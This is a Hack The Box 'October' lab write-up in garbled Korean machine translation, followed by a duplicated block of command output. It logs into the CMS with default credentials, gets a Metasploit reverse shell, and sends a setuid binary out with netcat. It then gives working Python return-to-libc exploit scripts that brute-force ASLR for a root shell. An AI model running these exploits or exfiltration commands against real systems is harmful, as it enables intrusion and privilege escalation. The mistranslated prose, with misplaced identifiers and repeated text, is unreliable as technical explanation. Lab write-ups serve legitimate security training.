10월 Hack The Box의 버퍼가 ASLR 옆길로 넘쳤습니다. - Metasploit 장착.
35909 단어 pentesthacktheboxhackingsecurity
시월
난이도: 중간
기계 IP: 10.10.10.16
포트 스캔은 웹 서버를 유일한 벡터로 인식합니다.
sudo nmap -sS -T4 -p- 10.10.10.16
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:14 EDT
Nmap scan report for 10.10.10.16
Host is up (0.017s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 97.13 seconds
sudo nmap -sS -T4 -A -p 22,80 10.10.10.16
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:20 EDT
Nmap scan report for 10.10.10.16
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 26.69 ms 10.10.14.1
2 26.69 ms 10.10.10.16
웹 서버에는 어떤 현식 수면이 있어서 요청에 응답하는 데 시간이 오래 걸립니다.이것은 목록을 일일이 열거하는 것을 어렵게 한다.나는 약 20분 후에 지금까지 다음과 같은 내용을 가지고 있는 비교적 작은 어휘표를 운행했다.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php --timeout 30s -u http://10.10.10.16/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.16/
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php
[+] Timeout: 30s
===============================================================
2020/06/28 11:39:53 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/Blog (Status: 200)
/account (Status: 200)
/backend (Status: 302)
/blog (Status: 200)
/config (Status: 301)
/error (Status: 200)
나는 백그라운드에서 운행할 때 이 단점들을 연구하기 시작할 수 있다.최초의 내용에서 나는 그것이 실행 중인 것을 볼 수 있다October CMS.http://10.10.10.16/backend
로그인 양식을 표시합니다.나는 admin / admin
이 증명서가 정확하다는 것을 발견했다.
searchsploit 인증된 세션을 이용하는 Metasploit 모듈이 있음을 나타냅니다.
searchsploit october
-------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------- ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasploit) | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting | php/webapps/44144.txt
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery | php/webapps/43106.txt
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
나는 계속해서 Metasploit의 exploit/multi/http/october_upload_bypass_exec
모듈을 사용하여 사용자 셸을 www-data
사용자로 얻었다.
msf5 exploit(multi/http/october_upload_bypass_exec) > run
[*] Started reverse TCP handler on 10.10.14.41:4444
[+] Authentication successful: admin:admin
[*] Sending stage (38288 bytes) to 10.10.10.16
[*] Meterpreter session 1 opened (10.10.14.41:4444 -> 10.10.10.16:49062) at 2020-06-28 12:16:13 -0400
[+] Deleted pXNLiuNzD.php5
meterpreter >
나는 사용자 로고를 얻을 수 있다.여기에서 나는 Linux Smart Enumeration (LSE) 목표를 올리고 그것을 실행하여 시스템을 매거한다.
www-data@october:/tmp$ ./lse.sh -c -i -l 1 | less
가장 재미있는 것은 시스템에 setuid 바이너리 파일이 존재하는데 실행할 수 있다는 것이다www-data
.
[!] fst020 Uncommon setuid binaries........................................ yes!
:
---
:
/usr/local/bin/ovrflw
LSE는 훌륭한 매거진 스크립트입니다.setuid 바이너리 파일은 SUID
비트 집합을 가진 실행 가능한 파일입니다.이것은 파일을 실행하는 사용자가 누구든지 간에 파일은 파일 소유자의 권한으로 실행된다는 것을 의미한다.가령 root
파일을 가지고 있다고 가정하면 /usr/local/bin/ovrflw
바이너리 파일을 어떤 방식으로 셸을 실행할 수 있다면 셸은 루트 사용자로 생성될 것이다.
파일 이름을 지정합니다. 버퍼가 넘쳐야 한다고 가정합니다.실제로 나는 대량의 입력을 전달함으로써 넘치는 빈틈이 있는지 검증할 수 있다.
www-data@october:/tmp$ /usr/local/bin/ovrflw
/usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>
www-data@october:/tmp$ /usr/local/bin/ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
www-data@october:/tmp$ ^[[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
www-data@october:/tmp$
나는 분할 오류가 하나 있다.이 바이너리 파일을 내 기계에 복사하고 버퍼 넘침 분석을 위해 준비할 때가 되었다.
내 기계에서, 나는 데이터를 탐지하고 파일로 출력하기 위해 넷캣을 설정했다.
artis3n@kali-pop:~/shares/htb/october$ sudo nc -l -p 999 > ovrflw
대상ovrflw
에 존재하기 때문에 다음 명령을 사용하여 파일을 전송할 수 있습니다.
www-data@october:/tmp$ nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw
nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw
로컬 파일이 서버의 파일과 동일한지 확인하려면 nc
을 사용합니다.
artis3n@kali-pop:~/shares/htb/october$ md5sum ovrflw
0e531949d891fd56a2ead07610cc5ded ovrflw
www-data@october:/tmp$ md5sum /usr/local/bin/ovrflw
md5sum /usr/local/bin/ovrflw
0e531949d891fd56a2ead07610cc5ded /usr/local/bin/ovrflw
나는 또 목표 시스템의 구조를 검사해야 한다.
이것은 Ubuntu 14.04를 실행하는 32개의 기계입니다.
www-data@october:/tmp$ uname -a
uname -a
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
www-data@october:/tmp$ cat /etc/lsb-release
cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
개발 버퍼가 넘칠 때 가능한 한 목표를 맞추고 싶어서 Ubuntu 14.04 이미지를 사용합니다.내가 찾을 수 있는 가장 가까운 것은 https://releases.ubuntu.com/trusty/ubuntu-14.04.6-desktop-i386.iso, 매우 가깝다.VMWare에서 시작하고 설치를 시작합니다.Virtualbox를 사용할 수 있지만 VMWare보다 Virtualbox 가상 시스템의 성능이 훨씬 떨어진다고 생각합니다.AWS의 공공 커뮤니티인 AMIs 아래에 md5sum
도 있으니 한번 해 보세요.
VMWare VM에서 설치하는 데 약 5분 정도 걸립니다.PEDA 는 ubuntu/images/ebs/ubuntu-trusty-14.04-i386-server-20180627
입니다.이것은 Python Exploit Development Assistance for GDB
에 대한 유익한 보충이다.
sudo apt update && sudo apt install -y build-essential git
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
나는 바이너리 파일을 이 테스트 가상 컴퓨터로 복사할 것이다.
artis3n@ubuntu:~/Desktop$ wget http://172.16.145.128:8000/ovrflw
--2020-06-28 10:26:29-- http://172.16.145.128:8000/ovrflw
Connecting to 172.16.145.128:8000... ^C
artis3n@ubuntu:~/Desktop$ wget http://192.168.1.209:8000/ovrflw
--2020-06-28 10:27:20-- http://192.168.1.209:8000/ovrflw
Connecting to 192.168.1.209:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7377 (7.2K) [application/octet-stream]
Saving to: ‘ovrflw’
100%[============================================================>] 7,377 --.-K/s in 0.001s
2020-06-28 10:27:20 (12.1 MB/s) - ‘ovrflw’ saved [7377/7377]
artis3n@ubuntu:~/Desktop$ ls -l
total 8
-rw-rw-r-- 1 artis3n artis3n 7377 Jun 28 10:07 ovrflw
이제 분석을 시작하겠습니다.
gdb ./ovrflw
> b main
> run
레지스터와 메모리 주소의 보기는 PEDA에서 보입니다.
gdb
나는 PEDA의 gdb
명령을 사용하여 바이너리 파일로 컴파일된 안전 표지를 검사할 수 있다.
PEDA checksec
이 활성화되었지만 나는 정말 개의치 않는다.나는 또한 목표 기계에 ASLR이 사용되었는지 검사해야 한다.
목표에서 나는 NX
의 메모리 주소를 얻었다. 그 중에서 다음과 같다.
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
중복 호출 libc
은 0xb7565000
의 메모리 주소가 매번 변화하고 있음을 보여 준다.
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7640000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7547000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7564000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ba000)
이것은 ASLR이 활성화되었음을 의미합니다.이것은 목표 시스템에서 정적 메모리 주소를 가져와 공격을 할 수 없다는 것을 의미한다. 왜냐하면 매번 메모리 주소가 다르기 때문이다.
이와 동시에, 나의 테스트 가상 기기에서, 나는 ASLR을 사용하지 않아서, 기본적인 버퍼 영역의 과잉 공격을 효력을 발생시켰다.나는 ASLR을 돌기 위해 그것을 수정해야만 했지만, 한 걸음 한 걸음 발자국이 났다.ASLR을 비활성화하려면 다음과 같은 명령을 루트 사용자로 실행해야 합니다.
artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n:
root@ubuntu:/home/artis3n/Desktop# echo 0 > /proc/sys/kernel/randomize_va_space
테스트 가상 기기에서 ASLR이 비활성화된 것을 볼 수 있습니다. 왜냐하면 ldd /usr/local/bin/overflw
메모리 주소가 바뀌지 않았기 때문입니다.
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
artis3n@ubuntu:~/Desktop$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e13000)
Kali 호스트에서 버퍼 오프셋을 찾기 위한 모드를 생성합니다.실행 가능한 파일의 버퍼를 채우기 위해 바이트 데이터가 얼마나 필요한지 알려 줍니다.
artis3n@kali-pop:~/shares/htb/october$ msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
테스트 가상 시스템에서, 나는 libc
에서 실행할 때 이 모드를 프로그램의 입력으로 사용하여 응용 프로그램이 붕괴될 때 메모리에서 이 모드의 세션을 찾습니다.예, 전체 명령 과정에서 호스트 사이를 계속 전환해야 합니다.내가 흑체로 표시한 호스트가 무엇인지 자세히 검사해라!
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x64413764 in ?? ()
보아하니 su
프로그램이 붕괴된 데이터이다.
Kali 호스트로 돌아가서 이 16진 코드를 실행하여 바이트의 정확한 수량을 찾았습니다: libc
.
artis3n@kali-pop:~/shares/htb/october$ msf-pattern_offset -q 0x64413764
[*] Exact match at offset 112
테스트 가상 머신에서 ASLR을 사용하지 않으면 다음과 같은 설정 구조 버퍼를 사용하여 빈틈을 넘길 수 있습니다.시스템 호출 gdb
과 0x64413764
의 메모리 주소, 그리고 pattern_offset
의 메모리 주소가 필요합니다.이것은 나로 하여금 112
공격을 구성하게 할 것이다.나는 의 서면 문서에서 이것에 대해 더욱 상세하게 설명하였다.
나는 system
-exit
의 메모리 주소를 얻었다.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e53310 <__libc_system>
나는 /bin/sh
명령과 결과를 복사하지 않았지만, return-to-libc
대신 system
에 대해 상술한 조작을 반복할 수 있습니다.
나는 0xb7e53310
-p exit
의 메모리 주소를 얻었다
gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f75d4c ("/bin/sh")
이렇게 하면 다음 (ASLR 비활성화) 빈틈을 만들 수 있습니다.
#!/usr/bin/env python
import struct
buffersled = "A"*112
libc = ''
system = struct.pack('<I', 0xb7e53310)
exit = struct.pack('<I', 0xb7e46260)
binsh = struct.pack('<I', 0xb7f75d4c)
payload = buffersled + system + exit + binsh
print payload
만약 내가 이 프로그램의 실행을 테스트 VM의 exit
바이너리 파일에 입력으로 전달한다면, 나는 루트 셸을 얻을 것이다.
./ovrflw $(python exploit.py)
그러나 이는 ASLR이 비활성화된 경우에만 수행됩니다.효과적인 빈틈이 생겼습니다. 저는 지금 ASLR을 다시 사용해서 저의 빈틈을 계속 개발할 수 있습니다.
artis3n@ubuntu:~/Desktop$ sudo su
[sudo] password for artis3n:
root@ubuntu:/home/artis3n/Desktop# echo 2 > /proc/sys/kernel/randomize_va_space
ASLR을 다시 활성화하면 system
메모리 주소가 매번 변경됩니다.
artis3n@ubuntu:~/Desktop$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b9000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a4000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7613000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751f000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751b000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ce000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7530000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7522000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d6000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7561000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7596000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7584000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7533000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb754d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb752d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756d000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e1000)
그러나!
이 출력을 확인하면 메모리 주소가 상대적으로 변하지 않는 것을 알 수 있습니다.그것들은 통상적으로 /bin/sh
로 시작하고, 어떤 것은 0xb7f75d4c
로 시작한다.그것들은 모두 ovrflw
로 끝났다.실제로 매번 중간의 두 바이트만 변화하고 있다.이것은 매번 호출할 때 libc
의 주소가 512가지 가능하다는 것을 의미한다.실행 가능한 파일을 호출할 때마다 나는 메모리 주소 0xb75
를 추측할 기회가 1/512에 달한다는 것이다.만약 내가 바이너리 코드 513번을 이용한다면, 나는 그 중의 한 주소를 다시 볼 가능성이 매우 높다.사실 return-to-libc 때문에 나는 약 30번의 추측만으로 정확한 추측0xb76
메모리 주소의 50% 이상의 확률을 얻을 수 있다.
HTB Frolic
birthday paradox
위 목록의 첫 번째 메모리 주소 000
를 사용하고 케이스를 얻을 때까지 유효 부하를 강제로 실행할 수 있습니다.서버를 파괴하지 않고 필요에 따라 여러 번 충돌할 수 있기 때문에 이것은 작용할 뿐입니다.
따라서 이제 VM 테스트 대신 대상 시스템에서 메모리 주소를 수집해야 합니다.
대상libc
의 메모리 주소를 얻었습니다. - libc
:
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755c000)
현재 나는 libc
, 0xb75b9000
, libc
메모리 주소에 대한 상대적인 위치의 메모리 편이량이 필요하다.이것은 우리가 어떤 실행 기간에 정확한 0xb755c000
주소를 추측하기만 하면 이 세 개의 메모리 주소가 정확하다는 것을 허용한다.우리는 system
라이브러리의 exit
메모리 편이량을 얻었다. 이것은 이전의 /bin/sh
메모리 주소 명령의 결과이다.libc
주소는 libc
입니다.
www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system
stemelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i sy
243: 0011b710 73 FUNC GLOBAL DEFAULT 12 svcerr_systemerr@@GLIBC_2.0
620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
readelf
주소는 /lib/i386-linux-gnu/libc.so.6
입니다.
www-data@october:/dev/shm$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit
itadelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i ex
111: 00033690 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
446: 000336d0 268 FUNC GLOBAL DEFAULT 12 __cxa_thread_atexit_impl@@GLIBC_2.18
554: 000b84f4 24 FUNC GLOBAL DEFAULT 12 _exit@@GLIBC_2.0
609: 0011e5f0 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0
645: 00033660 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10
868: 00033490 84 FUNC GLOBAL DEFAULT 12 __cxa_atexit@@GLIBC_2.1.3
1037: 00128b50 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0
1380: 001ac204 4 OBJECT GLOBAL DEFAULT 31 argp_err_exit_status@@GLIBC_2.1
1492: 000fb480 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0
1836: 000b84f4 24 FUNC WEAK DEFAULT 12 _Exit@@GLIBC_2.1.1
2090: 001ac154 4 OBJECT GLOBAL DEFAULT 31 obstack_exit_failure@@GLIBC_2.0
2243: 00033290 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0
2386: 000fbff0 2 FUNC GLOBAL DEFAULT 12 __cyg_profile_func_exit@@GLIBC_2.2
libc
은system@@GLIBC_2.0
과0x00040310
처럼 시스템 호출이 아니기 때문에 exit@@GLIBC_2.0
을 사용하여 메모리 편이량을 얻을 수 없습니다.반대로 나는 0x00033260
라이브러리에 사용할 수 있다/bin/sh
.
www-data@october:/dev/shm$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
n/shngs -atx /lib/i386-linux-gnu/libc.so.6 | grep /bi
162bac /bin/sh
system
메모리 주소는 exit
입니다.
이제 최종 유효 하중을 만듭니다.이 스크립트는 내 빈틈 공격을 최대 512회 실행합니다.
#!/usr/bin/env python
from subprocess import call
import struct
buffersled = "A"*112
libc = 0xb755c000
system = struct.pack('<I', libc + 0x00040310)
exit = struct.pack('<I', libc + 0x00033260)
binsh = struct.pack('<I', libc + 0x00162bac)
payload = buffersled + system + exit + binsh
i = 0
while (i < 512):
print("Try %s" % i)
i += 1
ret = call(["/usr/local/bin/ovrflw", payload])
나는 이 유효 부하를 목표 기계에 업로드하고 그것을 실행한다.
몇 초 안에 나는 껍질이 하나 생겼다!
나는 깃발을 잡으러 갈 것이다.
Reference
이 문제에 관하여(10월 Hack The Box의 버퍼가 ASLR 옆길로 넘쳤습니다. - Metasploit 장착.), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://dev.to/artis3n/buffer-overflow-aslr-bypass-on-hackthebox-october-with-metasploit-cg9
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
sudo nmap -sS -T4 -p- 10.10.10.16
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:14 EDT
Nmap scan report for 10.10.10.16
Host is up (0.017s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 97.13 seconds
sudo nmap -sS -T4 -A -p 22,80 10.10.10.16
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:20 EDT
Nmap scan report for 10.10.10.16
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 26.69 ms 10.10.14.1
2 26.69 ms 10.10.10.16
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php --timeout 30s -u http://10.10.10.16/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.16/
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,php
[+] Timeout: 30s
===============================================================
2020/06/28 11:39:53 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/Blog (Status: 200)
/account (Status: 200)
/backend (Status: 302)
/blog (Status: 200)
/config (Status: 301)
/error (Status: 200)
searchsploit october
-------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------- ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasploit) | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting | php/webapps/44144.txt
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery | php/webapps/43106.txt
-------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
msf5 exploit(multi/http/october_upload_bypass_exec) > run
[*] Started reverse TCP handler on 10.10.14.41:4444
[+] Authentication successful: admin:admin
[*] Sending stage (38288 bytes) to 10.10.10.16
[*] Meterpreter session 1 opened (10.10.14.41:4444 -> 10.10.10.16:49062) at 2020-06-28 12:16:13 -0400
[+] Deleted pXNLiuNzD.php5
meterpreter >
www-data@october:/tmp$ ./lse.sh -c -i -l 1 | less
[!] fst020 Uncommon setuid binaries........................................ yes!
:
---
:
/usr/local/bin/ovrflw
www-data@october:/tmp$ /usr/local/bin/ovrflw
/usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>
www-data@october:/tmp$ /usr/local/bin/ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
www-data@october:/tmp$ ^[[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
www-data@october:/tmp$
artis3n@kali-pop:~/shares/htb/october$ sudo nc -l -p 999 > ovrflw
www-data@october:/tmp$ nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw
nc -w 5 10.10.14.41 999 < /usr/local/bin/ovrflw
artis3n@kali-pop:~/shares/htb/october$ md5sum ovrflw
0e531949d891fd56a2ead07610cc5ded ovrflw
www-data@october:/tmp$ md5sum /usr/local/bin/ovrflw
md5sum /usr/local/bin/ovrflw
0e531949d891fd56a2ead07610cc5ded /usr/local/bin/ovrflw
www-data@october:/tmp$ uname -a
uname -a
